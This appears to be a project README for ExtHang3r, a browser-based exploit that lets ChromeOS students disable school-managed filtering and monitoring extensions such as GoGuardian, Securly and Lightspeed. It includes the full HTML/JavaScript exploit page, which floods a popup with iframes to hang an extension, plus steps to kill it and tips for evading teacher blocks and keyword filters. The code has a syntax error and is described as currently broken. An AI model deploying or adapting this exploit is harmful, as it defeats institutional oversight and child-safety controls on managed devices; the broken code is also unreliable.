ExtHang3r

What is it?

ExtHang3r is an exploit created by Blobby Boi that allows ChromeOS users to kill managed extensions after the LTMEAT patch. It remains unpatched in all new ChromeOS versions as of October 2024. This version is currently broken for now.

How does it work?

This exploit works very similar to Dextensify. The main difference being that instead of creating iframes and slowly getting rid of them, a separate popup window is created that spams iframes and refreshes them. After a few seconds, the popup is closed achieving similar behavior to the LTMEAT Flood method. This worked great in paper, but for whatever reason this hang just woudn't let you disable the extension with the file URLs switch. It would instead just restart the extension. However, a solution was quickly found and it was as simple as just attempting to load any of the extension's pages prior to flipping the switch.

What extensions are supported?

• Securly
• Securly (old)
• GoGuardian
• LANSchool
• Linewize
• Blocksi
• FortiGuard
• Cisco Umbrella
• ContentKeeper
• Securly Classroom
• CK-Authenticator G3
• Hapara
• iBoss
• Lightspeed Filter Agent
• Lightspeed Classroom
• InterCLASS Filtering Service
• InterSafe GatewayConnection Agent
• LoiLo Web Filters
• Gopher Buddy
• LanSchool Web Helper
• IMTLazarus
• Impero Backdrop
• Mobile Guardian

And extensions in this newer version such as:

• Aristotle Student

How do I use it?

To use the exploit, paste the following url into your url bar. More detailed instructions are provided in the exploit's page.

data:text/html;base64,<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>ExtHang3r</title>
  <link rel="shortcut icon" type="image/png" href="https://raw.githubusercontent.com/Blobby-Boi/ExtHang3r/main/favicon.png">
  <link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Varela+Round&display=swap">
  <style>
    body {
      font-family: 'Varela Round', sans-serif;
      margin: 0;
      padding: 0;
      background-color: #f8f9fa;
      color: #333;
    }
    header {
      background-color: #343a40;
      color: #fff;
      padding: 10px 20px;
      text-align: center;
      display: flex;
      align-items: center;
      justify-content: center;
      box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
    }
    .logo {
      width: 50px;
      height: 50px;
      margin-right: 10px;
    }
    .container {
      max-width: 800px;
      margin: 150px auto 0 auto;
      padding: 20px;
      text-align: center;
      background: #fff;
      box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
      border-radius: 8px;
    }
    select {
      font-family: 'Varela Round', sans-serif;
      margin-bottom: 10px;
      padding: 10px;
      font-size: 16px;
      border: 1px solid #ced4da;
      border-radius: 4px;
      width: 100%;
    }
    button {
      font-family: 'Varela Round', sans-serif;
      background-color: #007bff;
      color: #fff;
      border: none;
      padding: 10px 20px;
      font-size: 16px;
      cursor: pointer;
      border-radius: 5px;
      margin-top: 10px;
      transition: background-color 0.3s ease;
    }
    button:hover {
      background-color: #0056b3;
    }
    .overlay {
      position: fixed;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      background-color: rgba(0, 0, 0, 0.7);
      display: none;
      justify-content: center;
      align-items: center;
      z-index: 9999;
      color: #fff;
      font-size: 24px;
      user-select: none;
      flex-direction: column;
    }
    .spinner {
      border: 6px solid rgba(255, 255, 255, 0.3);
      border-top: 6px solid #fff;
      border-radius: 50%;
      width: 40px;
      height: 40px;
      animation: spin 1s linear infinite;
      margin-bottom: 20px;
    }
    @keyframes spin {
      0% { transform: rotate(0deg); }
      100% { transform: rotate(360deg); }
    }
    #killExtensionText {
      display: none;
      margin-top: 20px;
      color: #333;
      font-size: 18px;
      text-align: center;
      background: #e9ecef;
      padding: 20px;
      border-radius: 8px;
      box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
    }
   	 #killButton {
	  display: none;
	  background-color: #dc3545;
	  color: #fff;
	  border: none;
	  padding: 10px 20px;
	  font-size: 16px;
	  cursor: pointer;
	  border-radius: 5px;
 	  transition: background-color 0.3s ease;
	}

	#killButton:hover {
	  background-color: #9c1c28;
	}
    footer {
      background-color: #343a40;
      color: #fff;
      text-align: center;
      padding: 10px;
      position: fixed;
      bottom: 0;
      width: 100%;
    }
    footer a {
      color: #007bff;
      text-decoration: none;
    }
    footer a:hover {
      text-decoration: underline;
    }
  </style>
</head>
<body>

<header>
  <img src="https://blobby-boi.github.io/BlobbypassXSS/favicon.png" alt="Logo" class="logo">
  <h1>ExtHang3r</h1>
</header>

<div class="container">
  <p>ExtHang3r is an exploit that allows ChromeOS users to kill managed extensions after the LTMEAT patch. It remains unpatched in all new ChromeOS versions as of September 2024.</p>
  <label for="iframeSelect" id="labelForIframeSelect">Select extension:</label>
  <select id="iframeSelect">
  </select>
  <button onclick="warning();" id="hangButton">Hang Extension!</button>
  <button id="killButton" onclick="openExtensionPopup();">Kill Extension!</button>
</div>

<div class="overlay" id="overlay">
  <div class="spinner"></div>
  Hanging... (This will take about 1 minute)
</div>
<div id="killExtensionText"></div>

<footer>
  <p>Made by <a href="https://github.com/Blobby-Boi/">Blobby Boi</a></p>
</footer>

<script>
  async function checkExtensionURL(url) {
    try {
      const response = await fetch(url);
      if (response.ok) {
        return true;
      } else {
        return false;
      }
    } catch (error) {
      return false;
    }
  }

  async function populateSelectOptions() {
    const selectElement = document.getElementById("iframeSelect");
    const extensions = {
      "Securly": "chrome-extension://joflmkccibkooplaeoinecjbmdebglab/fonts/Metropolis.css",
      "Securly (old)": "chrome-extension://iheobagjkfklnlikgihanlhcddjoihkg/fonts/Metropolis.css",
      "GoGuardian": "chrome-extension://haldlgldplgnggkjaafhelgiaglafanh/youtube_injection.js",
      "LANSchool": "chrome-extension://baleiojnjpgeojohhhfbichcodgljmnj/blocked.html",
      "Linewize": "chrome-extension://ddfbkhpmcdbciejenfcolaaiebnjcbfc/background/assets/pages/default-blocked.html",
      "Blocksi": "chrome-extension://ghlpmldmjjhmdgmneoaibbegkjjbonbk/pages/blockPage.html",
      "FortiGuard": "chrome-extension://igbgpehnbmhgdgjbhkkpedommgmfbeao/youtube_injection.js",
      "Cisco Umbrella": "chrome-extension://jcdhmojfecjfmbdpchihbeilohgnbdci/blocked.html",
      "ContentKeeper": "chrome-extension://jdogphakondfdmcanpapfahkdomaicfa/img/ckauth19x.png",
      "CK-Authenticator G3": "chrome-extension://odoanpnonilogofggaohhkdkdgbhdljp/img/ckauth19x.png",
      "Securly Classroom": "chrome-extension://jfbecfmiegcjddenjhlbhlikcbfmnafd/notfound.html",
      "Hapara": "chrome-extension://kbohafcopfpigkjdimdcdgenlhkmhbnc/blocked.html",
      "Hapara (new ID)": "chrome-extension://aceopacgaepdcelohobicpffbbejnfac/blocked.html",
      "iboss": "chrome-extension://kmffehbidlalibfeklaefnckpidbodff/restricted.html",
      "Lightspeed Filter Agent": "chrome-extension://adkcpkpghahmbopkjchobieckeoaoeem/icon-128.png",
      "Lightspeed Classroom": "chrome-extension://kkbmdgjggcdajckdlbngdjonpchpaiea/assets/icon-classroom-128.png",
      "InterCLASS Filtering Service": "chrome-extension://jbddgjglgkkneonnineaohdhabjbgopi/pages/message-page.html",
      "InterSafe GatewayConnection Agent": "chrome-extension://ecjoghccnjlodjlmkgmnbnkdcbnjgden/resources/options.js",
      "LoiLo Web Filters": "chrome-extension://pabjlbjcgldndnpjnokjakbdofjgnfia/image/allow_icon/shield_green_128x128.png",
      "Gopher Buddy": "chrome-extension://cgbbbjmgdpnifijconhamggjehlamcif/images/gopher-buddy_128x128_color.png",
      "LanSchool Web Helper": "chrome-extension://honjcnefekfnompampcpmcdadibmjhlk/blocked.html",
      "IMTLazarus": "chrome-extension://cgigopjakkeclhggchgnhmpmhghcbnaf/models/model.json",
      "Impero Backdrop": "chrome-extension://jjpmjccpemllnmgiaojaocgnakpmfgjg/licenses.html",
      "Mobile Guardian": "chrome-extension://fgmafhdohjkdhfaacgbgclmfgkgokgmb/block.html"
      "Aristotle Student": "chrome-extension://cfnebacoilpbikjgagonnjpoeijdncje/pages/blockPage.html"
    };
    
    let hasSupportedExtensions = false;

    for (const [name, url] of Object.entries(extensions)) {
      if (await checkExtensionURL(url)) {
        const option = document.createElement("option");
        option.value = url;
        option.textContent = name;
        selectElement.appendChild(option);
        hasSupportedExtensions = true;
      }
    }
    
    if (!hasSupportedExtensions) {
      const option = document.createElement("option");
      option.value = "";
      option.textContent = "No supported extensions installed";
      selectElement.appendChild(option);
      document.getElementById("hangButton").style.display = "none";
    }
  }

  populateSelectOptions();
  
  function replaceIframes(container, iframeSrc) {
    for (var i = 0; i < 1000; i++) {
      var iframe = document.createElement('iframe');
      iframe.src = iframeSrc;
      iframe.style.width = '100%';
      iframe.style.height = '100px';
      container.appendChild(iframe);
    }
    setTimeout(function() {
      while (container.firstChild) {
        container.removeChild(container.firstChild);
      }
      replaceIframes(container, iframeSrc);
    }, 5);
  }

  function warning() {
    var overlay = document.getElementById("overlay");
    overlay.style.display = "flex";
    var iframeSelect = document.getElementById("iframeSelect");
    var selectedOption = iframeSelect.options[iframeSelect.selectedIndex].text;
    var selectedSrc = iframeSelect.value;
    var popup = window.open("", "PopupWindow", "width=100,height=100");
    var popupDocument = popup.document;
    var popupBody = popupDocument.body;
    var iframeContainer = popupDocument.createElement('div');
    iframeContainer.id = 'iframeContainer';
    popupBody.appendChild(iframeContainer);
    replaceIframes(iframeContainer, selectedSrc);
    setTimeout(function() {
      popup.close();
      var extensionId = selectedSrc.substring(selectedSrc.indexOf("//") + 2, selectedSrc.indexOf("/", selectedSrc.indexOf("//") + 2));
      var extensionURL = "chrome-extension://" + extensionId;
      var killExtensionText = document.getElementById("killExtensionText");
      killExtensionText.innerHTML = "Now that the extension <strong>" + selectedOption + "</strong> has been hanged, press the button above.";
      setTimeout(function() {
        overlay.style.display = "none";
        killExtensionText.style.display = "block";
        document.getElementById("killButton").style.display = "inline-block";
        document.getElementById("hangButton").style.display = "none";
	document.getElementById("iframeSelect").style.display = "none";
	document.getElementById("labelForIframeSelect").style.display = "none";
        document.getElementById("killButton").setAttribute("data-url", selectedSrc);
      }, 10000);
    }, 5000);
  }

  function openExtensionPopup() {
    var selectedSrc = document.getElementById("killButton").getAttribute("data-url");
    var extensionId = selectedSrc.substring(selectedSrc.indexOf("//") + 2, selectedSrc.indexOf("/", selectedSrc.indexOf("//") + 2));
    var killExtensionText = document.getElementById("killExtensionText");
    document.getElementById("killButton").style.display = "none";
    killExtensionText.innerHTML = "Make sure to keep this tab open. Then in a new tab open <strong>chrome://extensions/?id=" + extensionId + "</strong> Flip the switch called allow access to file URLs twice. The extension was successfully killed! Now you can close that tab as well as this one. If you want to restore the extension, flip the allow access to file URLs switch again.";
    window.location.href = selectedSrc;
  }
</script>
</body>
</html>


Loading from local offline .html file (broken)

You can download index.html (from this repository). Once you downloaded it, open the Files app, navigate your way to Downloads, then double click index.html or drag index.html in the URL bar. This can still be blocked by your teacher, but you can rename the file as a solution. This method is currently broken.

What are the new enhancements?

There are many new enhancements in this version, such as:

• More extension IDs
• Using zero width spaces to bypass word restrictions (such as "unblock" being blocked) (soon)
• A randomly generated game to play while you wait, such as Pac-Man or Snake (soon)